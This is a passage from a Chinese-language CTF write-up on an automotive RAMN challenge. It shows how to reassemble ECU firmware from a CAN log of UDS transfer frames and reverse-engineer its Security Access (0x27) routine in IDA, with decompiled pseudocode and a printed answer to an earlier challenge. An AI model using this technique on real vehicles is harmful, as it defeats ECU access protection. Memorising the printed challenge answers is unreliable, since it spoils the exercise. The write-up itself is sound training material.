</span></span><span class="line"><span class="ln">140</span><span class="cl">
</span></span><span class="line"><span class="ln">141</span><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">&#34;__main__&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">142</span><span class="cl">    <span class="n">main</span><span class="p">()</span></span></span></code></pre><div class="title text-sm text-muted-foreground px-3 py-1 rounded-lg border">AutoGraph.py</div><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>答案是：<code>58198666691408413489157977283298548714183388226985257069167369868995344613920</code></p>
<h3 id="password-change-policy-ramn">Password Change Policy [RAMN]<a class="anchor" href="#password-change-policy-ramn">#</a></h3>
<blockquote>
<p>This challenge dives into Universal Diagnostic Services (UDS) and firmware reverse engineering. You&rsquo;ll need to reconstruct a complete firmware image from a raw CAN log file.</p>
<p>The main goal is to identify and understand a new Security Access algorithm embedded within the firmware. This algorithm is common to other automotive security access algorithms, requiring meticulous binary analysis to extract. Success hinges on your UDS knowledge and reverse engineering skills.</p>
<p><em><strong>Prompt:</strong></em> I updated my RAMN with a new firmware for ECU C, but it seems like the Security Access algorithm has been updated and I can’t unlock it anymore.</p>
<p>ECU C just gave me the seed: 9A5ABF0C1CAAFDEB72761E909501D6E9.</p>
<p>What is the answer to that seed? (Note: flag is 32-character hexadecimal string, all caps).</p>
<p>本挑战涉及通用诊断服务（UDS）和固件逆向工程。你需要从原始的 CAN 日志文件中重建完整的固件镜像。</p>
<p>主要目标是识别并理解嵌入在固件中的新型安全访问算法。这种算法与其他汽车安全访问算法类似，需要进行细致的二进制分析才能提取出来。成功与否取决于你对 UDS 的理解以及你的逆向工程技能。</p>
<p>提示：我用 ECU C 的新固件更新了我的 RAMN，但似乎安全访问算法已经更新了，我现在无法解锁它了。</p>
<p>ECU C 刚刚给了我一个种子：9A5ABF0C1CAAFDEB72761E909501D6E9。</p>
<p>这个种子的答案是什么？（注意：flag 是一个 32 位字符的十六进制字符串，全部大写）。</p>
</blockquote>
<p>给了提示，就是提取固件分析，和安全访问算法</p>
<p>不给提示也能知道大致内容（先射箭再画靶子）</p>
<p>0x36服务是数据传输服务，靠他来传输数据，但是需要请求一下，而请求的SID分两种，请求下载0x34，请求上传0x35</p>
<p>但这里面没有#34或#35的字样，也就是只给了传输帧</p>
<p>固件都很大，都是首帧加连续帧的组合，连续帧没什么好说的，第一个字节代表第几个片段，后面都是数据</p>
<p>首帧不一样，一般是前两个字节是PCI和数据总长度，第三个字节是回应的SID，也就是0x36，第四个字节代表块序号，因为连续帧最多传输，0xFFF个字节，这远远不够一个固件的大小。首帧加相应连续帧构成一个帧块。所以第四个字节表示这是第几个个帧块，传输完一个块就加0x01，然后把对应块按序号连接起来构成最终固件。后面四个字节是有效数据</p>
<p>还有一点，CAN ID是7E2，通常是诊断请求的发送方，如果正则搜索<code>7E2#1...36..</code>就能看到有多少个帧块，还能看到最后的数字在逐个增加，那就是帧块序号</p>
<p>脚本让AI给就行，跟之前的大同小异。</p>
<p>得到了一个bin文件，将其拖入IDA</p>
<p>在函数<code>sub_8006828</code> 中发现主要代码块，我不知道yichen怎么翻到这个函数的，伪代码如下：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kt">int</span> <span class="kr">__fastcall</span> <span class="nf">sub_8006828</span><span class="p">(</span><span class="kt">int</span> <span class="n">a1</span><span class="p">,</span> <span class="n">_BYTE</span> <span class="o">*</span><span class="n">a2</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kr">__int16</span> <span class="n">a3</span><span class="p">,</span> <span class="kt">int</span> <span class="n">a4</span><span class="p">,</span> <span class="n">_WORD</span> <span class="o">*</span><span class="n">a5</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">  <span class="kt">int</span> <span class="n">result</span><span class="p">;</span> <span class="c1">// r0
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl">  <span class="kt">int</span> <span class="n">v6</span><span class="p">;</span> <span class="c1">// r3
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl">
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">  <span class="n">dword_20032B04</span> <span class="o">=</span> <span class="n">a4</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">  <span class="n">dword_20032B08</span> <span class="o">=</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">a5</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">  <span class="o">*</span><span class="n">a5</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">  <span class="n">dword_20032B10</span> <span class="o">=</span> <span class="n">a1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">  <span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="n">a3</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">    <span class="o">*</span><span class="n">a2</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">    <span class="k">return</span> <span class="nf">sub_80042BC</span><span class="p">(</span><span class="n">a2</span><span class="p">,</span> <span class="mi">19</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">  <span class="k">if</span> <span class="p">(</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int8</span><span class="p">)</span><span class="o">*</span><span class="n">a2</span> <span class="o">&lt;=</span> <span class="mh">0xFu</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">    <span class="k">return</span> <span class="nf">sub_8003A28</span><span class="p">(</span><span class="n">a2</span><span class="p">,</span> <span class="n">a3</span><span class="p">,</span> <span class="n">a4</span><span class="p">,</span> <span class="n">a5</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">  <span class="n">v6</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int8</span><span class="p">)</span><span class="o">*</span><span class="n">a2</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">  <span class="k">if</span> <span class="p">(</span> <span class="n">v6</span> <span class="o">==</span> <span class="mi">135</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">    <span class="k">return</span> <span class="nf">sub_8006150</span><span class="p">(</span><span class="n">a2</span><span class="p">,</span> <span class="n">a3</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">  <span class="k">if</span> <span class="p">(</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int8</span><span class="p">)</span><span class="o">*</span><span class="n">a2</span> <span class="o">&gt;</span> <span class="mh">0x87u</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">    <span class="k">return</span> <span class="nf">sub_80042BC</span><span class="p">(</span><span class="n">a2</span><span class="p">,</span> <span class="mi">17</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">  <span class="k">if</span> <span class="p">(</span> <span class="n">v6</span> <span class="o">==</span> <span class="mi">133</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">    <span class="k">return</span> <span class="nf">sub_8006078</span><span class="p">(</span><span class="n">a2</span><span class="p">,</span> <span class="n">a3</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">  <span class="k">if</span> <span class="p">(</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int8</span><span class="p">)</span><span class="o">*</span><span class="n">a2</span> <span class="o">&gt;</span> <span class="mh">0x85u</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">    <span class="k">return</span> <span class="nf">sub_80042BC</span><span class="p">(</span><span class="n">a2</span><span class="p">,</span> <span class="mi">17</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">  <span class="k">if</span> <span class="p">(</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int8</span><span class="p">)</span><span class="o">*</span><span class="n">a2</span> <span class="o">&gt;</span> <span class="mh">0x27u</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">    <span class="k">if</span> <span class="p">(</span> <span class="n">v6</span> <span class="o">==</span> <span class="mi">62</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">      <span class="k">return</span> <span class="nf">sub_8005FF4</span><span class="p">(</span><span class="n">a2</span><span class="p">,</span> <span class="n">a3</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">    <span class="k">return</span> <span class="nf">sub_80042BC</span><span class="p">(</span><span class="n">a2</span><span class="p">,</span> <span class="mi">17</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">  <span class="k">if</span> <span class="p">(</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int8</span><span class="p">)</span><span class="o">*</span><span class="n">a2</span> <span class="o">&lt;</span> <span class="mh">0x10u</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">    <span class="k">return</span> <span class="nf">sub_80042BC</span><span class="p">(</span><span class="n">a2</span><span class="p">,</span> <span class="mi">17</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl">  <span class="k">switch</span> <span class="p">(</span> <span class="o">*</span><span class="n">a2</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl">    <span class="k">case</span> <span class="mh">0x10</span><span class="o">:</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl">      <span class="n">result</span> <span class="o">=</span> <span class="nf">sub_8004428</span><span class="p">(</span><span class="n">a2</span><span class="p">,</span> <span class="n">a3</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl">      <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">39</span><span class="cl">    <span class="k">case</span> <span class="mh">0x11</span><span class="o">:</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl">      <span class="n">result</span> <span class="o">=</span> <span class="nf">sub_8004544</span><span class="p">(</span><span class="n">a2</span><span class="p">,</span> <span class="n">a3</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">41</span><span class="cl">      <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">42</span><span class="cl">    <span class="k">case</span> <span class="mh">0x14</span><span class="o">:</span>
</span></span><span class="line"><span class="ln">43</span><span class="cl">      <span class="n">result</span> <span class="o">=</span> <span class="nf">sub_80045B4</span><span class="p">(</span><span class="n">a2</span><span class="p">,</span> <span class="n">a3</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">44</span><span class="cl">      <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">45</span><span class="cl">    <span class="k">case</span> <span class="mh">0x27</span><span class="o">:</span>
</span></span><span class="line"><span class="ln">46</span><span class="cl">      <span class="n">result</span> <span class="o">=</span> <span class="nf">sub_8004DB8</span><span class="p">(</span><span class="n">a2</span><span class="p">,</span> <span class="n">a3</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">47</span><span class="cl">      <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">48</span><span class="cl">    <span class="k">default</span><span class="o">:</span>
</span></span><span class="line"><span class="ln">49</span><span class="cl">      <span class="k">return</span> <span class="nf">sub_80042BC</span><span class="p">(</span><span class="n">a2</span><span class="p">,</span> <span class="mi">17</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">50</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">51</span><span class="cl">  <span class="k">return</span> <span class="n">result</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">52</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>题目提到了安全访问算法，而这个安全访问是0x27服务，我建议阅读：<a
  href="https://blog.csdn.net/huihuige092/article/details/126465150" rel="nofollow noopener noreferrer" target="_blank"
  >https://blog.csdn.net/huihuige092/article/details/126465150<span style="user-select:none"> ↗</span></a
>
</p>
<p>首先去看<code>case 0x27</code>：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kt">int</span> <span class="kr">__fastcall</span> <span class="nf">sub_8004DB8</span><span class="p">(</span><span class="kt">int</span> <span class="n">a1</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kr">__int16</span> <span class="n">a2</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">  <span class="kt">int</span> <span class="n">v3</span><span class="p">;</span> <span class="c1">// r3
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl">
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">  <span class="k">if</span> <span class="p">(</span> <span class="n">a2</span> <span class="o">&lt;=</span> <span class="mi">1u</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">    <span class="k">return</span> <span class="nf">sub_80042BC</span><span class="p">(</span><span class="n">a1</span><span class="p">,</span> <span class="mi">19</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">  <span class="n">v3</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)(</span><span class="n">a1</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0x7F</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">  <span class="k">if</span> <span class="p">(</span> <span class="n">v3</span> <span class="o">==</span> <span class="mi">1</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">    <span class="k">return</span> <span class="nf">sub_8004BF4</span><span class="p">(</span><span class="n">a1</span><span class="p">,</span> <span class="n">a2</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">  <span class="k">if</span> <span class="p">(</span> <span class="n">v3</span> <span class="o">!=</span> <span class="mi">2</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">    <span class="k">return</span> <span class="nf">sub_80042BC</span><span class="p">(</span><span class="n">a1</span><span class="p">,</span> <span class="mi">18</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">  <span class="k">if</span> <span class="p">(</span> <span class="n">a2</span> <span class="o">!=</span> <span class="mi">18</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">    <span class="k">return</span> <span class="nf">sub_80042BC</span><span class="p">(</span><span class="n">a1</span><span class="p">,</span> <span class="mi">19</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">  <span class="k">return</span> <span class="nf">sub_8004CD4</span><span class="p">(</span><span class="n">a1</span><span class="p">,</span> <span class="n">a2</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>函数都点一点，<code>sub_8004CD4</code> 有一个 16 次的 for 循环，正好对应了种子的字节数：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kt">int</span> <span class="kr">__fastcall</span> <span class="nf">sub_8004CD4</span><span class="p">(</span><span class="kt">int</span> <span class="n">result</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">  <span class="n">_BYTE</span> <span class="n">v1</span><span class="p">[</span><span class="mi">4</span><span class="p">];</span> <span class="c1">// [sp+Ch] [bp+Ch] BYREF
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl">  <span class="kt">int</span> <span class="n">i</span><span class="p">;</span> <span class="c1">// [sp+10h] [bp+10h]
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl">  <span class="kt">char</span> <span class="n">v3</span><span class="p">;</span> <span class="c1">// [sp+17h] [bp+17h]
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl">
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">  <span class="n">v1</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="mi">103</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">  <span class="n">v1</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)(</span><span class="n">result</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0x7F</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">  <span class="k">if</span> <span class="p">(</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="n">dword_20032B3C</span> <span class="o">&gt;</span> <span class="mi">4</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">    <span class="k">return</span> <span class="nf">sub_80042BC</span><span class="p">(</span><span class="n">result</span><span class="p">,</span> <span class="mi">54</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">  <span class="k">if</span> <span class="p">(</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)(</span><span class="n">dword_20032B10</span> <span class="o">-</span> <span class="n">dword_20032B38</span><span class="p">)</span> <span class="o">&lt;=</span> <span class="mi">9</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">    <span class="k">return</span> <span class="nf">sub_80042BC</span><span class="p">(</span><span class="n">result</span><span class="p">,</span> <span class="mi">55</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">  <span class="k">if</span> <span class="p">(</span> <span class="n">byte_20032B40</span> <span class="o">!=</span> <span class="mi">1</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">    <span class="k">return</span> <span class="nf">sub_80042BC</span><span class="p">(</span><span class="n">result</span><span class="p">,</span> <span class="mi">36</span><span class="p">);</span>
